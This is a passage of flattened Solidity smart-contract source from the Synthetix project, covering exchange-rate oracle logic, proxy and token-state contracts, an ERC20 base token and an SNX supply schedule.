* @notice Internal function to get the inverted rate, if any, and mark an inverted
* key as frozen if either limits are reached.
* @param currencyKey The price key to lookup
* @param rate The rate for the given price key
*/
function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) {
// if an inverse mapping exists, adjust the price accordingly
InversePricing storage inverse = inversePricing[currencyKey];
if (inverse.entryPoint <= 0) {
return rate;
}
// set the rate to the current rate initially (if it's frozen, this is what will be returned)
uint newInverseRate = rates[currencyKey];
// get the new inverted rate if not frozen
if (!inverse.frozen) {
uint doubleEntryPoint = inverse.entryPoint.mul(2);
if (doubleEntryPoint <= rate) {
// avoid negative numbers for unsigned ints, so set this to 0
// which by the requirement that lowerLimit be > 0 will
// cause this to freeze the price to the lowerLimit
newInverseRate = 0;
} else {
newInverseRate = doubleEntryPoint.sub(rate);
}
// now if new rate hits our limits, set it to the limit and freeze
if (newInverseRate >= inverse.upperLimit) {
newInverseRate = inverse.upperLimit;
} else if (newInverseRate <= inverse.lowerLimit) {
newInverseRate = inverse.lowerLimit;
}
if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) {
inverse.frozen = true;
emit InversePriceFrozen(currencyKey);
}
}
return newInverseRate;
}
/**
* @notice Update the Synthetix Drawing Rights exchange rate based on other rates already updated.
*/
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
// Set the rate
rates["XDR"] = total;
// Record that we updated the XDR rate.
lastRateUpdateTimes["XDR"] = timeSent;
// Emit our updated event separate to the others to save
// moving data around between arrays.
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
/**
* @notice Delete a rate stored in the contract
* @param currencyKey The currency key you wish to delete the rate for
*/
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
/**
* @notice Set the Oracle that pushes the rate information to this contract
* @param _oracle The new oracle address
*/
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
/**
* @notice Set the stale period on the updated rate variables
* @param _time The new rateStalePeriod
*/
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
/**
* @notice Set the the locked state for a priceUpdate call
* @param _priceUpdateLock lock boolean flag
*/
function setPriceUpdateLock(bool _priceUpdateLock)
external
onlyOracle
{
priceUpdateLock = _priceUpdateLock;
}
/**
* @notice Set an inverse price up for the currency key
* @param currencyKey The currency to update
* @param entryPoint The entry price point of the inverted price
* @param upperLimit The upper limit, at or above which the price will be frozen
* @param lowerLimit The lower limit, at or below which the price will be frozen
*/
function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)
external onlyOwner
{
require(entryPoint > 0, "entryPoint must be above 0");
require(lowerLimit > 0, "lowerLimit must be above 0");
require(upperLimit > entryPoint, "upperLimit must be above the entryPoint");
require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint");
require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint");
if (inversePricing[currencyKey].entryPoint <= 0) {
// then we are adding a new inverse pricing, so add this
invertedKeys.push(currencyKey);
}
inversePricing[currencyKey].entryPoint = entryPoint;
inversePricing[currencyKey].upperLimit = upperLimit;
inversePricing[currencyKey].lowerLimit = lowerLimit;
inversePricing[currencyKey].frozen = false;
emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);
}
/**
* @notice Remove an inverse price for the currency key
* @param currencyKey The currency to remove inverse pricing for
*/
function removeInversePricing(bytes4 currencyKey) external onlyOwner {
inversePricing[currencyKey].entryPoint = 0;
inversePricing[currencyKey].upperLimit = 0;
inversePricing[currencyKey].lowerLimit = 0;
inversePricing[currencyKey].frozen = false;
// now remove inverted key from array
for (uint8 i = 0; i < invertedKeys.length; i++) {
if (invertedKeys[i] == currencyKey) {
delete invertedKeys[i];
// Copy the last key into the place of the one we just deleted
// If there's only one key, this is array[0] = array[0].
// If we're deleting the last one, it's also a NOOP in the same way.
invertedKeys[i] = invertedKeys[invertedKeys.length - 1];
// Decrease the size of the array by one.
invertedKeys.length--;
break;
}
}
emit InversePriceConfigured(currencyKey, 0, 0, 0);
}
/* ========== VIEWS ========== */
/**
* @notice A function that lets you easily convert an amount in a source currency to an amount in the destination currency
* @param sourceCurrencyKey The currency the amount is specified in
* @param sourceAmount The source amount, specified in UNIT base
* @param destinationCurrencyKey The destination currency
*/
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
// If there's no change in the currency, then just return the amount they gave us
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
// Calculate the effective value by going from source -> USD -> destination
return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(rateForCurrency(destinationCurrencyKey));
}
/**
* @notice Retrieve the rate for a specific currency
*/
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
/**
* @notice Retrieve the rates for a list of currencies
*/
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
/**
* @notice Retrieve a list of last update times for specific currencies
*/
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
/**
* @notice Retrieve the last update time for a specific currency
*/
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
/**
* @notice Check if a specific currency's rate hasn't been updated for longer than the stale period.
*/
function rateIsStale(bytes4 currencyKey)
public
view
returns (bool)
{
// sUSD is a special case and is never stale.
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
/**
* @notice Check if any rate is frozen (cannot be exchanged into)
*/
function rateIsFrozen(bytes4 currencyKey)
external
view
returns (bool)
{
return inversePricing[currencyKey].frozen;
}
/**
* @notice Check if any of the currency rates passed in haven't been updated for longer than the stale period.
*/
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
// Loop through each key and check whether the data point is stale.
uint256 i = 0;
while (i < currencyKeys.length) {
// sUSD is a special case and is never false
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
/* ========== MODIFIERS ========== */
modifier rateNotStale(bytes4 currencyKey) {
require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
/* ========== EVENTS ========== */
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit);
event InversePriceFrozen(bytes4 currencyKey);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: State.sol
version: 1.1
author: Dominic Romanowski
Anton Jurisevic
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract is used side by side with external state token
contracts, such as Synthetix and Synth.
It provides an easy way to upgrade contract logic while
maintaining all user balances and allowances. This is designed
to make the changeover as easy as possible, since mappings
are not so cheap or straightforward to migrate.
The first deployed contract would create this state contract,
using it as its store of balances.
When a new contract is deployed, it links to the existing
state contract, whose owner would then change its associated
contract to the new one.
-----------------------------------------------------------------
*/
contract State is Owned {
// the address of the contract that can modify variables
// this can only be changed by the owner of this contract
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== SETTERS ========== */
// Change the associated contract to a new address
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== MODIFIERS ========== */
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
/* ========== EVENTS ========== */
event AssociatedContractUpdated(address associatedContract);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: TokenState.sol
version: 1.1
author: Dominic Romanowski
Anton Jurisevic
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A contract that holds the state of an ERC20 compliant token.
This contract is used side by side with external state token
contracts, such as Synthetix and Synth.
It provides an easy way to upgrade contract logic while
maintaining all user balances and allowances. This is designed
to make the changeover as easy as possible, since mappings
are not so cheap or straightforward to migrate.
The first deployed contract would create this state contract,
using it as its store of balances.
When a new contract is deployed, it links to the existing
state contract, whose owner would then change its associated
contract to the new one.
-----------------------------------------------------------------
*/
/**
* @title ERC20 Token State
* @notice Stores balance information of an ERC20 token contract.
*/
contract TokenState is State {
/* ERC20 fields. */
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
/**
* @dev Constructor
* @param _owner The address which controls this contract.
* @param _associatedContract The ERC20 contract whose state this composes.
*/
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
/* ========== SETTERS ========== */
/**
* @notice Set ERC20 allowance.
* @dev Only the associated contract may call this.
* @param tokenOwner The authorising party.
* @param spender The authorised party.
* @param value The total value the authorised party may spend on the
* authorising party's behalf.
*/
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
/**
* @notice Set the balance in a given account
* @dev Only the associated contract may call this.
* @param account The account whose value to set.
* @param value The new balance of the given account.
*/
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Proxy.sol
version: 1.3
author: Anton Jurisevic
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A proxy contract that, if it does not recognise the function
being called on it, passes all value and call data to an
underlying target contract.
This proxy has the capacity to toggle between DELEGATECALL
and CALL style proxy functionality.
The former executes in the proxy's context, and so will preserve
msg.sender and store data at the proxy address. The latter will not.
Therefore, any contract the proxy wraps in the CALL style must
implement the Proxyable interface, in order that it can pass msg.sender
into the underlying contract as the state parameter, messageSender.
-----------------------------------------------------------------
*/
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
/* Copy call data into free memory region. */
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* Forward all gas and call data to the target contract. */
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
/* Revert if the call failed, otherwise return the result. */
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
/* Here we are as above, but must send the messageSender explicitly
* since we are using CALL rather than DELEGATECALL. */
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Proxyable.sol
version: 1.1
author: Anton Jurisevic
date: 2018-05-15
checked: Mike Spain
approved: Samuel Brooks
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A proxyable contract that works hand in hand with the Proxy contract
to allow for anyone to interact with the underlying contract both
directly and through the proxy.
-----------------------------------------------------------------
*/
// This contract should be treated like an abstract contract
contract Proxyable is Owned {
/* The proxy this contract exists behind. */
Proxy public proxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: ExternStateToken.sol
version: 1.0
author: Kevin Brown
date: 2018-08-06
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract offers a modifer that can prevent reentrancy on
particular actions. It will not work if you put it on multiple
functions that can be called from each other. Specifically guard
external entry points to the contract with the modifier only.
-----------------------------------------------------------------
*/
contract ReentrancyPreventer {
/* ========== MODIFIERS ========== */
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: TokenFallback.sol
version: 1.0
author: Kevin Brown
date: 2018-08-10
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract provides the logic that's used to call tokenFallback()
when transfers happen.
It's pulled out into its own module because it's needed in two
places, so instead of copy/pasting this logic and maininting it
both in Fee Token and Extern State Token, it's here and depended
on by both contracts.
-----------------------------------------------------------------
*/
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
/*
If we're transferring to a contract and it implements the tokenFallback function, call it.
This isn't ERC223 compliant because we don't revert if the contract doesn't implement tokenFallback.
This is because many DEXes and other contracts that expect to work with the standard
approve / transferFrom workflow don't implement tokenFallback but can still process our tokens as
usual, so it feels very harsh and likely to cause trouble if we add this restriction after having
previously gone live with a vanilla ERC20.
*/
// Is the to address a contract? We can check the code size on that address and know.
uint length;
// solium-disable-next-line security/no-inline-assembly
assembly {
// Retrieve the size of the code on the recipient address
length := extcodesize(recipient)
}
// If there's code there, it's a contract
if (length > 0) {
// Now we need to optionally call tokenFallback(address from, uint value).
// We can't call it the normal way because that reverts when the recipient doesn't implement the function.
// solium-disable-next-line security/no-low-level-calls
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
// And yes, we specifically don't care if this call fails, so we're not checking the return value.
}
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: ExternStateToken.sol
version: 1.3
author: Anton Jurisevic
Dominic Romanowski
Kevin Brown
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A partial ERC20 token contract, designed to operate with a proxy.
To produce a complete ERC20 token, transfer and transferFrom
tokens must be implemented, using the provided _byProxy internal
functions.
This contract utilises an external state for upgradeability.
-----------------------------------------------------------------
*/
/**
* @title ERC20 Token contract, with detached state and designed to operate behind a proxy.
*/
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
/* ========== STATE VARIABLES ========== */
/* Stores balances and allowances. */
TokenState public tokenState;
/* Other ERC20 fields. */
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
/**
* @dev Constructor.
* @param _proxy The proxy associated with this contract.
* @param _name Token's ERC20 name.
* @param _symbol Token's ERC20 symbol.
* @param _totalSupply The total supply of the token.
* @param _tokenState The TokenState contract address.
* @param _owner The owner of this contract.
*/
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
/* ========== VIEWS ========== */
/**
* @notice Returns the ERC20 allowance of one party to spend on behalf of another.
* @param owner The party authorising spending of their funds.
* @param spender The party spending tokenOwner's funds.
*/
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
/**
* @notice Returns the ERC20 token balance of a given account.
*/
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Set the address of the TokenState contract.
* @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000..
* as balances would be unreachable.
*/
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
/* Disallow transfers to irretrievable-addresses. */
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
// Insufficient balance will be handled by the safe subtraction.
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
// If the recipient is a contract, we need to call tokenFallback on it so they can do ERC223
// actions when receiving our tokens. Unlike the standard, however, we don't revert if the
// recipient contract doesn't implement tokenFallback.
callTokenFallbackIfNeeded(from, to, value, data);
// Emit a standard ERC20 transfer event
emitTransfer(from, to, value);
return true;
}
/**
* @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing
* the onlyProxy or optionalProxy modifiers.
*/
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
/**
* @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions
* possessing the optionalProxy or optionalProxy modifiers.
*/
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
/* Insufficient allowance will be handled by the safe subtraction. */
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
/**
* @notice Approves spender to transfer on the message sender's behalf.
*/
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
/* ========== EVENTS ========== */
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract IFeePool {
address public FEE_ADDRESS;
function amountReceivedFromExchange(uint value) external view returns (uint);
function amountReceivedFromTransfer(uint value) external view returns (uint);
function feePaid(bytes4 currencyKey, uint amount) external;
function appendAccountIssuanceRecord(address account, uint lockedAmount, uint debtEntryIndex) external;
function rewardsMinted(uint amount) external;
function transferFeeIncurred(uint value) public view returns (uint);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: SupplySchedule.sol
version: 1.0
author: Jackson Chan
Clinton Ennis
date: 2019-03-01
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Supply Schedule contract. SNX is a transferable ERC20 token.
User's get staking rewards as part of the incentives of
+------+-------------+--------------+----------+
| Year | Increase | Total Supply | Increase |
+------+-------------+--------------+----------+
| 1 | 0 | 100,000,000 | |
| 2 | 75,000,000 | 175,000,000 | 75% |
| 3 | 37,500,000 | 212,500,000 | 21% |
| 4 | 18,750,000 | 231,250,000 | 9% |
| 5 | 9,375,000 | 240,625,000 | 4% |
| 6 | 4,687,500 | 245,312,500 | 2% |
+------+-------------+--------------+----------+
-----------------------------------------------------------------
*/
/**
* @title SupplySchedule contract
*/
contract SupplySchedule is Owned {
using SafeMath for uint;
using SafeDecimalMath for uint;
/* Storage */
struct ScheduleData {
// Total supply issuable during period
uint totalSupply;
// UTC Time - Start of the schedule
uint startPeriod;
// UTC Time - End of the schedule
uint endPeriod;
// UTC Time - Total of supply minted
uint totalSupplyMinted;
}
// How long each mint period is
uint public mintPeriodDuration = 1 weeks;
// time supply last minted
uint public lastMintEvent;
Synthetix public synthetix;
uint constant SECONDS_IN_YEAR = 60 * 60 * 24 * 365;
uint public constant START_DATE = 1520294400; // 2018-03-06T00:00:00+00:00
uint public constant YEAR_ONE = START_DATE + SECONDS_IN_YEAR.mul(1);
uint public constant YEAR_TWO = START_DATE + SECONDS_IN_YEAR.mul(2);
uint public constant YEAR_THREE = START_DATE + SECONDS_IN_YEAR.mul(3);
uint public constant YEAR_FOUR = START_DATE + SECONDS_IN_YEAR.mul(4);
uint public constant YEAR_FIVE = START_DATE + SECONDS_IN_YEAR.mul(5);
uint public constant YEAR_SIX = START_DATE + SECONDS_IN_YEAR.mul(6);
uint public constant YEAR_SEVEN = START_DATE + SECONDS_IN_YEAR.mul(7);
uint8 constant public INFLATION_SCHEDULES_LENGTH = 7;
ScheduleData[INFLATION_SCHEDULES_LENGTH] public schedules;
uint public minterReward = 200 * SafeDecimalMath.unit();
constructor(address _owner)
Owned(_owner)
public
{
// ScheduleData(totalSupply, startPeriod, endPeriod, totalSupplyMinted)
// Year 1 - Total supply 100,000,000
schedules[0] = ScheduleData(1e8 * SafeDecimalMath.unit(), START_DATE, YEAR_ONE - 1, 1e8 * SafeDecimalMath.unit());
schedules[1] = ScheduleData(75e6 * SafeDecimalMath.unit(), YEAR_ONE, YEAR_TWO - 1, 0); // Year 2 - Total supply 175,000,000
schedules[2] = ScheduleData(37.5e6 * SafeDecimalMath.unit(), YEAR_TWO, YEAR_THREE - 1, 0); // Year 3 - Total supply 212,500,000
schedules[3] = ScheduleData(18.75e6 * SafeDecimalMath.unit(), YEAR_THREE, YEAR_FOUR - 1, 0); // Year 4 - Total supply 231,250,000
schedules[4] = ScheduleData(9.375e6 * SafeDecimalMath.unit(), YEAR_FOUR, YEAR_FIVE - 1, 0); // Year 5 - Total supply 240,625,000
schedules[5] = ScheduleData(4.6875e6 * SafeDecimalMath.unit(), YEAR_FIVE, YEAR_SIX - 1, 0); // Year 6 - Total supply 245,312,500
schedules[6] = ScheduleData(0, YEAR_SIX, YEAR_SEVEN - 1, 0); // Year 7 - Total supply 245,312,500
}
// ========== SETTERS ========== */
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
// emit event
}
// ========== VIEWS ==========
function mintableSupply()
public
view
returns (uint)
{
if (!isMintable()) {
return 0;
}
uint index = getCurrentSchedule();
// Calculate previous year's mintable supply
uint amountPreviousPeriod = _remainingSupplyFromPreviousYear(index);
/* solium-disable */
// Last mint event within current period will use difference in (now - lastMintEvent)
// Last mint event not set (0) / outside of current Period will use current Period
// start time resolved in (now - schedule.startPeriod)
ScheduleData memory schedule = schedules[index];
uint weeksInPeriod = (schedule.endPeriod - schedule.startPeriod).div(mintPeriodDuration);
uint supplyPerWeek = schedule.totalSupply.divideDecimal(weeksInPeriod);
uint weeksToMint = lastMintEvent >= schedule.startPeriod ? _numWeeksRoundedDown(now.sub(lastMintEvent)) : _numWeeksRoundedDown(now.sub(schedule.startPeriod));
// /* solium-enable */
uint amountInPeriod = supplyPerWeek.multiplyDecimal(weeksToMint);
return amountInPeriod.add(amountPreviousPeriod);
}
function _numWeeksRoundedDown(uint _timeDiff)
public
view
returns (uint)
{
// Take timeDiff in seconds (Dividend) and mintPeriodDuration as (Divisor)
// Calculate the numberOfWeeks since last mint rounded down to 1 week
// Fraction of a week will return 0
return _timeDiff.div(mintPeriodDuration);
}
function isMintable()
public
view
returns (bool)
{
bool mintable = false;
if (now - lastMintEvent > mintPeriodDuration && now <= schedules[6].endPeriod) // Ensure time is not after end of Year 7
{
mintable = true;
}
return mintable;
}
// Return the current schedule based on the timestamp
// applicable based on startPeriod and endPeriod
function getCurrentSchedule()
public
view
returns (uint)
{
require(now <= schedules[6].endPeriod, "Mintable periods have ended");
for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) {
if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) {
return i;
}
}
}
function _remainingSupplyFromPreviousYear(uint currentSchedule)
internal
view
returns (uint)
{
// All supply has been minted for previous period if last minting event is after
// the endPeriod for last year
if (currentSchedule == 0 || lastMintEvent > schedules[currentSchedule - 1].endPeriod) {
return 0;
}
// return the remaining supply to be minted for previous period missed
uint amountInPeriod = schedules[currentSchedule - 1].totalSupply.sub(schedules[currentSchedule - 1].totalSupplyMinted);
// Ensure previous period remaining amount is not less than 0
if (amountInPeriod < 0) {
return 0;
}
return amountInPeriod;
}
// ========== MUTATIVE FUNCTIONS ==========
function updateMintValues()
external
onlySynthetix
returns (bool)
{
// Will fail if the time is outside of schedules
uint currentIndex = getCurrentSchedule();
uint lastPeriodAmount = _remainingSupplyFromPreviousYear(currentIndex);
uint currentPeriodAmount = mintableSupply().sub(lastPeriodAmount);
// Update schedule[n - 1].totalSupplyMinted
if (lastPeriodAmount > 0) {
schedules[currentIndex - 1].totalSupplyMinted = schedules[currentIndex - 1].totalSupplyMinted.add(lastPeriodAmount);
}
// Update schedule.totalSupplyMinted for currentSchedule
schedules[currentIndex].totalSupplyMinted = schedules[currentIndex].totalSupplyMinted.add(currentPeriodAmount);
// Update mint event to now
lastMintEvent = now;
emit SupplyMinted(lastPeriodAmount, currentPeriodAmount, currentIndex, now);
return true;
}
function setMinterReward(uint _amount)
external
onlyOwner
{
minterReward = _amount;
emit MinterRewardUpdated(_amount);
}
// ========== MODIFIERS ==========
modifier onlySynthetix() {
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
/* ========== EVENTS ========== */
event SupplyMinted(uint previousPeriodAmount, uint currentAmount, uint indexed schedule, uint timestamp);
event MinterRewardUpdated(uint newRewardAmount);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: LimitedSetup.sol
version: 1.1
author: Anton Jurisevic
date: 2018-05-15
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A contract with a limited setup period. Any function modified
with the setup modifier will cease to work after the
conclusion of the configurable-length post-construction setup period.
-----------------------------------------------------------------
*/
/**
* @title Any function decorated with the modifier this contract provides
* deactivates after a specified setup period.
*/
contract LimitedSetup {
uint setupExpiryTime;
/**
* @dev LimitedSetup Constructor.
* @param setupDuration The time the setup period will last for.
*/
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: SynthetixState.sol
version: 1.0
author: Kevin Brown
date: 2018-10-19
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A contract that holds issuance state and preferred currency of
users in the Synthetix system.
This contract is used side by side with the Synthetix contract
to make it easier to upgrade the contract logic while maintaining
issuance state.
The Synthetix contract is also quite large and on the edge of
being beyond the contract size limit without moving this information
out to another contract.
The first deployed contract would create this state contract,
